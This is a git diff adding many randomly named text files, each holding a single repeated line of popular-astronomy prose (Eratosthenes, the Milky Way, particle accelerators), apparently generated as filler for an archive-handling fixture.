diff --git a/big_zip/big-zip-files/folder_blruwfommb/file_agqosbpmdfxbpigcufi.txt b/big_zip/big-zip-files/folder_blruwfommb/file_agqosbpmdfxbpigcufi.txt
new file mode 100644
index 0000000..02fdde2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/file_agqosbpmdfxbpigcufi.txt
@@ -0,0 +1 @@
+voyage is connected in the most straight-forward way with the calculations of Eratosthenes.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/file_asdlwmujjdeae.txt b/big_zip/big-zip-files/folder_blruwfommb/file_asdlwmujjdeae.txt
new file mode 100644
index 0000000..02fdde2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/file_asdlwmujjdeae.txt
@@ -0,0 +1 @@
+voyage is connected in the most straight-forward way with the calculations of Eratosthenes.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/file_ixyruemjwnpcnfvkjtzztz.txt b/big_zip/big-zip-files/folder_blruwfommb/file_ixyruemjwnpcnfvkjtzztz.txt
new file mode 100644
index 0000000..02fdde2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/file_ixyruemjwnpcnfvkjtzztz.txt
@@ -0,0 +1 @@
+voyage is connected in the most straight-forward way with the calculations of Eratosthenes.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/file_ksjbxzvvmyxgqlrilldxvieq.txt b/big_zip/big-zip-files/folder_blruwfommb/file_ksjbxzvvmyxgqlrilldxvieq.txt
new file mode 100644
index 0000000..02fdde2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/file_ksjbxzvvmyxgqlrilldxvieq.txt
@@ -0,0 +1 @@
+voyage is connected in the most straight-forward way with the calculations of Eratosthenes.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/file_nnlikvfjcbhacukjptbeb.txt b/big_zip/big-zip-files/folder_blruwfommb/file_nnlikvfjcbhacukjptbeb.txt
new file mode 100644
index 0000000..02fdde2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/file_nnlikvfjcbhacukjptbeb.txt
@@ -0,0 +1 @@
+voyage is connected in the most straight-forward way with the calculations of Eratosthenes.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/file_rnpchrcmkea.txt b/big_zip/big-zip-files/folder_blruwfommb/file_rnpchrcmkea.txt
new file mode 100644
index 0000000..02fdde2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/file_rnpchrcmkea.txt
@@ -0,0 +1 @@
+voyage is connected in the most straight-forward way with the calculations of Eratosthenes.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/file_rrxzfswebirnulbjwklaziuc.txt b/big_zip/big-zip-files/folder_blruwfommb/file_rrxzfswebirnulbjwklaziuc.txt
new file mode 100644
index 0000000..02fdde2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/file_rrxzfswebirnulbjwklaziuc.txt
@@ -0,0 +1 @@
+voyage is connected in the most straight-forward way with the calculations of Eratosthenes.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/file_tvvnkiudpbyysrjc.txt b/big_zip/big-zip-files/folder_blruwfommb/file_tvvnkiudpbyysrjc.txt
new file mode 100644
index 0000000..02fdde2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/file_tvvnkiudpbyysrjc.txt
@@ -0,0 +1 @@
+voyage is connected in the most straight-forward way with the calculations of Eratosthenes.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/file_vjyhfmspixofqieslfow.txt b/big_zip/big-zip-files/folder_blruwfommb/file_vjyhfmspixofqieslfow.txt
new file mode 100644
index 0000000..02fdde2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/file_vjyhfmspixofqieslfow.txt
@@ -0,0 +1 @@
+voyage is connected in the most straight-forward way with the calculations of Eratosthenes.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/file_voxlhwelhdrs.txt b/big_zip/big-zip-files/folder_blruwfommb/file_voxlhwelhdrs.txt
new file mode 100644
index 0000000..02fdde2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/file_voxlhwelhdrs.txt
@@ -0,0 +1 @@
+voyage is connected in the most straight-forward way with the calculations of Eratosthenes.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/file_wczdhnatwqwapoav.txt b/big_zip/big-zip-files/folder_blruwfommb/file_wczdhnatwqwapoav.txt
new file mode 100644
index 0000000..02fdde2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/file_wczdhnatwqwapoav.txt
@@ -0,0 +1 @@
+voyage is connected in the most straight-forward way with the calculations of Eratosthenes.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/file_wkmjgrsadoiii.txt b/big_zip/big-zip-files/folder_blruwfommb/file_wkmjgrsadoiii.txt
new file mode 100644
index 0000000..02fdde2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/file_wkmjgrsadoiii.txt
@@ -0,0 +1 @@
+voyage is connected in the most straight-forward way with the calculations of Eratosthenes.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/file_xwhlelpophzfwywyjp.txt b/big_zip/big-zip-files/folder_blruwfommb/file_xwhlelpophzfwywyjp.txt
new file mode 100644
index 0000000..02fdde2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/file_xwhlelpophzfwywyjp.txt
@@ -0,0 +1 @@
+voyage is connected in the most straight-forward way with the calculations of Eratosthenes.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_cmesphhsknkn.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_cmesphhsknkn.txt
new file mode 100644
index 0000000..333cd2c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_cmesphhsknkn.txt
@@ -0,0 +1 @@
+accelerated particles would all smash into the walls of the apparatus, and there would be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_csuzapthuroxhixkqxwvll.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_csuzapthuroxhixkqxwvll.txt
new file mode 100644
index 0000000..333cd2c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_csuzapthuroxhixkqxwvll.txt
@@ -0,0 +1 @@
+accelerated particles would all smash into the walls of the apparatus, and there would be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_davmedlz.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_davmedlz.txt
new file mode 100644
index 0000000..333cd2c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_davmedlz.txt
@@ -0,0 +1 @@
+accelerated particles would all smash into the walls of the apparatus, and there would be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_dpvrykpqheynjrfa.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_dpvrykpqheynjrfa.txt
new file mode 100644
index 0000000..333cd2c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_dpvrykpqheynjrfa.txt
@@ -0,0 +1 @@
+accelerated particles would all smash into the walls of the apparatus, and there would be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_evojfqojjhyhvto.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_evojfqojjhyhvto.txt
new file mode 100644
index 0000000..333cd2c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_evojfqojjhyhvto.txt
@@ -0,0 +1 @@
+accelerated particles would all smash into the walls of the apparatus, and there would be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_jomztdygmriqbffvogzdr.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_jomztdygmriqbffvogzdr.txt
new file mode 100644
index 0000000..333cd2c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_jomztdygmriqbffvogzdr.txt
@@ -0,0 +1 @@
+accelerated particles would all smash into the walls of the apparatus, and there would be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_jymgdiwkwrcbktjy.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_jymgdiwkwrcbktjy.txt
new file mode 100644
index 0000000..333cd2c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_jymgdiwkwrcbktjy.txt
@@ -0,0 +1 @@
+accelerated particles would all smash into the walls of the apparatus, and there would be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_mtykuhspwurmhyezlhvrkv.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_mtykuhspwurmhyezlhvrkv.txt
new file mode 100644
index 0000000..333cd2c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_mtykuhspwurmhyezlhvrkv.txt
@@ -0,0 +1 @@
+accelerated particles would all smash into the walls of the apparatus, and there would be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_nfqpuwgmbgjhfivoomobyltt.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_nfqpuwgmbgjhfivoomobyltt.txt
new file mode 100644
index 0000000..333cd2c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_nfqpuwgmbgjhfivoomobyltt.txt
@@ -0,0 +1 @@
+accelerated particles would all smash into the walls of the apparatus, and there would be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_nkgywpixheix.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_nkgywpixheix.txt
new file mode 100644
index 0000000..333cd2c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_nkgywpixheix.txt
@@ -0,0 +1 @@
+accelerated particles would all smash into the walls of the apparatus, and there would be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_qmsvtcgkgbzb.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_qmsvtcgkgbzb.txt
new file mode 100644
index 0000000..333cd2c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_qmsvtcgkgbzb.txt
@@ -0,0 +1 @@
+accelerated particles would all smash into the walls of the apparatus, and there would be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_qvjjembsc.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_qvjjembsc.txt
new file mode 100644
index 0000000..333cd2c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_qvjjembsc.txt
@@ -0,0 +1 @@
+accelerated particles would all smash into the walls of the apparatus, and there would be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_rfxpofpvp.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_rfxpofpvp.txt
new file mode 100644
index 0000000..333cd2c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_rfxpofpvp.txt
@@ -0,0 +1 @@
+accelerated particles would all smash into the walls of the apparatus, and there would be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_szummdvlixelqv.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_szummdvlixelqv.txt
new file mode 100644
index 0000000..333cd2c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_szummdvlixelqv.txt
@@ -0,0 +1 @@
+accelerated particles would all smash into the walls of the apparatus, and there would be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_uvlkbvxtafc.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_uvlkbvxtafc.txt
new file mode 100644
index 0000000..333cd2c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_uvlkbvxtafc.txt
@@ -0,0 +1 @@
+accelerated particles would all smash into the walls of the apparatus, and there would be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_wkxazbmaeqdytrcetagb.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_wkxazbmaeqdytrcetagb.txt
new file mode 100644
index 0000000..333cd2c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_wkxazbmaeqdytrcetagb.txt
@@ -0,0 +1 @@
+accelerated particles would all smash into the walls of the apparatus, and there would be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_zkeygonqagi.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_zkeygonqagi.txt
new file mode 100644
index 0000000..333cd2c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/file_zkeygonqagi.txt
@@ -0,0 +1 @@
+accelerated particles would all smash into the walls of the apparatus, and there would be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_ekiejbvvbtftusuotidex.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_ekiejbvvbtftusuotidex.txt
new file mode 100644
index 0000000..2b97b42
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_ekiejbvvbtftusuotidex.txt
@@ -0,0 +1 @@
+galaxy in the Cosmos, the Milky Way - although in the eighteenth century Thomas Wright
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_ghcudlajjfcal.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_ghcudlajjfcal.txt
new file mode 100644
index 0000000..2b97b42
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_ghcudlajjfcal.txt
@@ -0,0 +1 @@
+galaxy in the Cosmos, the Milky Way - although in the eighteenth century Thomas Wright
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_jobmebpcrzmtlrozg.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_jobmebpcrzmtlrozg.txt
new file mode 100644
index 0000000..2b97b42
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_jobmebpcrzmtlrozg.txt
@@ -0,0 +1 @@
+galaxy in the Cosmos, the Milky Way - although in the eighteenth century Thomas Wright
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_jsiouhlnxljxj.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_jsiouhlnxljxj.txt
new file mode 100644
index 0000000..2b97b42
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_jsiouhlnxljxj.txt
@@ -0,0 +1 @@
+galaxy in the Cosmos, the Milky Way - although in the eighteenth century Thomas Wright
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_ltimvcyoqhqdtloetam.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_ltimvcyoqhqdtloetam.txt
new file mode 100644
index 0000000..2b97b42
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_ltimvcyoqhqdtloetam.txt
@@ -0,0 +1 @@
+galaxy in the Cosmos, the Milky Way - although in the eighteenth century Thomas Wright
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_mglgosfzhso.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_mglgosfzhso.txt
new file mode 100644
index 0000000..2b97b42
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_mglgosfzhso.txt
@@ -0,0 +1 @@
+galaxy in the Cosmos, the Milky Way - although in the eighteenth century Thomas Wright
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_nefxfjczktabri.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_nefxfjczktabri.txt
new file mode 100644
index 0000000..2b97b42
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_nefxfjczktabri.txt
@@ -0,0 +1 @@
+galaxy in the Cosmos, the Milky Way - although in the eighteenth century Thomas Wright
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_oofuaapnwd.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_oofuaapnwd.txt
new file mode 100644
index 0000000..2b97b42
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_oofuaapnwd.txt
@@ -0,0 +1 @@
+galaxy in the Cosmos, the Milky Way - although in the eighteenth century Thomas Wright
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_owddotyuqoeabaq.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_owddotyuqoeabaq.txt
new file mode 100644
index 0000000..2b97b42
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_owddotyuqoeabaq.txt
@@ -0,0 +1 @@
+galaxy in the Cosmos, the Milky Way - although in the eighteenth century Thomas Wright
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_peiiyyxcxcgvsuspgpbqjz.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_peiiyyxcxcgvsuspgpbqjz.txt
new file mode 100644
index 0000000..2b97b42
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_peiiyyxcxcgvsuspgpbqjz.txt
@@ -0,0 +1 @@
+galaxy in the Cosmos, the Milky Way - although in the eighteenth century Thomas Wright
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_pktpplfnyqyr.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_pktpplfnyqyr.txt
new file mode 100644
index 0000000..2b97b42
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_pktpplfnyqyr.txt
@@ -0,0 +1 @@
+galaxy in the Cosmos, the Milky Way - although in the eighteenth century Thomas Wright
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_qbnczjaqu.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_qbnczjaqu.txt
new file mode 100644
index 0000000..2b97b42
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_qbnczjaqu.txt
@@ -0,0 +1 @@
+galaxy in the Cosmos, the Milky Way - although in the eighteenth century Thomas Wright
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_qyrqcsjltpf.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_qyrqcsjltpf.txt
new file mode 100644
index 0000000..2b97b42
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_qyrqcsjltpf.txt
@@ -0,0 +1 @@
+galaxy in the Cosmos, the Milky Way - although in the eighteenth century Thomas Wright
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_rolerzpvesausqwnzfhv.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_rolerzpvesausqwnzfhv.txt
new file mode 100644
index 0000000..2b97b42
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_rolerzpvesausqwnzfhv.txt
@@ -0,0 +1 @@
+galaxy in the Cosmos, the Milky Way - although in the eighteenth century Thomas Wright
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_vigveqobkhquqjtkfiswky.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_vigveqobkhquqjtkfiswky.txt
new file mode 100644
index 0000000..2b97b42
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_vigveqobkhquqjtkfiswky.txt
@@ -0,0 +1 @@
+galaxy in the Cosmos, the Milky Way - although in the eighteenth century Thomas Wright
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_wccuynlumwruiwivzucurz.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_wccuynlumwruiwivzucurz.txt
new file mode 100644
index 0000000..2b97b42
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/file_wccuynlumwruiwivzucurz.txt
@@ -0,0 +1 @@
+galaxy in the Cosmos, the Milky Way - although in the eighteenth century Thomas Wright
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/bfaxwvcylnsgqweiksaekia.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/bfaxwvcylnsgqweiksaekia.txt
new file mode 100644
index 0000000..53d5604
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/bfaxwvcylnsgqweiksaekia.txt
@@ -0,0 +1 @@
+disc. Some observers have reported variable white clouds above that disc - most likely,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/dfzqkqficodhliuvfbtu.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/dfzqkqficodhliuvfbtu.txt
new file mode 100644
index 0000000..ee1fd36
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/dfzqkqficodhliuvfbtu.txt
@@ -0,0 +1 @@
+from Pain. He was also the director of the great library of Alexandria, where one day he
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_aahrfvbqfopszoifvebskzur.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_aahrfvbqfopszoifvebskzur.txt
new file mode 100644
index 0000000..e205b42
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_aahrfvbqfopszoifvebskzur.txt
@@ -0,0 +1 @@
+2 One Voice in the Cosmic Fugue
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_czqmgpqhp.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_czqmgpqhp.txt
new file mode 100644
index 0000000..e205b42
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_czqmgpqhp.txt
@@ -0,0 +1 @@
+2 One Voice in the Cosmic Fugue
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_fomvawyakevpr.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_fomvawyakevpr.txt
new file mode 100644
index 0000000..e205b42
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_fomvawyakevpr.txt
@@ -0,0 +1 @@
+2 One Voice in the Cosmic Fugue
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_gymwmchcjlpzvsluymlzdnd.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_gymwmchcjlpzvsluymlzdnd.txt
new file mode 100644
index 0000000..e205b42
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_gymwmchcjlpzvsluymlzdnd.txt
@@ -0,0 +1 @@
+2 One Voice in the Cosmic Fugue
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_jrvfulwoghzbunlsev.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_jrvfulwoghzbunlsev.txt
new file mode 100644
index 0000000..e205b42
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_jrvfulwoghzbunlsev.txt
@@ -0,0 +1 @@
+2 One Voice in the Cosmic Fugue
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_lctjewfblpnlbp.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_lctjewfblpnlbp.txt
new file mode 100644
index 0000000..e205b42
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_lctjewfblpnlbp.txt
@@ -0,0 +1 @@
+2 One Voice in the Cosmic Fugue
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_lkylmxjnqhvqqayr.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_lkylmxjnqhvqqayr.txt
new file mode 100644
index 0000000..e205b42
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_lkylmxjnqhvqqayr.txt
@@ -0,0 +1 @@
+2 One Voice in the Cosmic Fugue
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_mszqardd.txt b/big_zip/big-zip-files/folder_blruwfommb/folder_ahawahpvsg/folder_iwgrpfyfrw/folder_vlzbfwkkdy/file_mszqardd.txt
new file mode 100644
index 0000000..e205b42
--- /dev/null
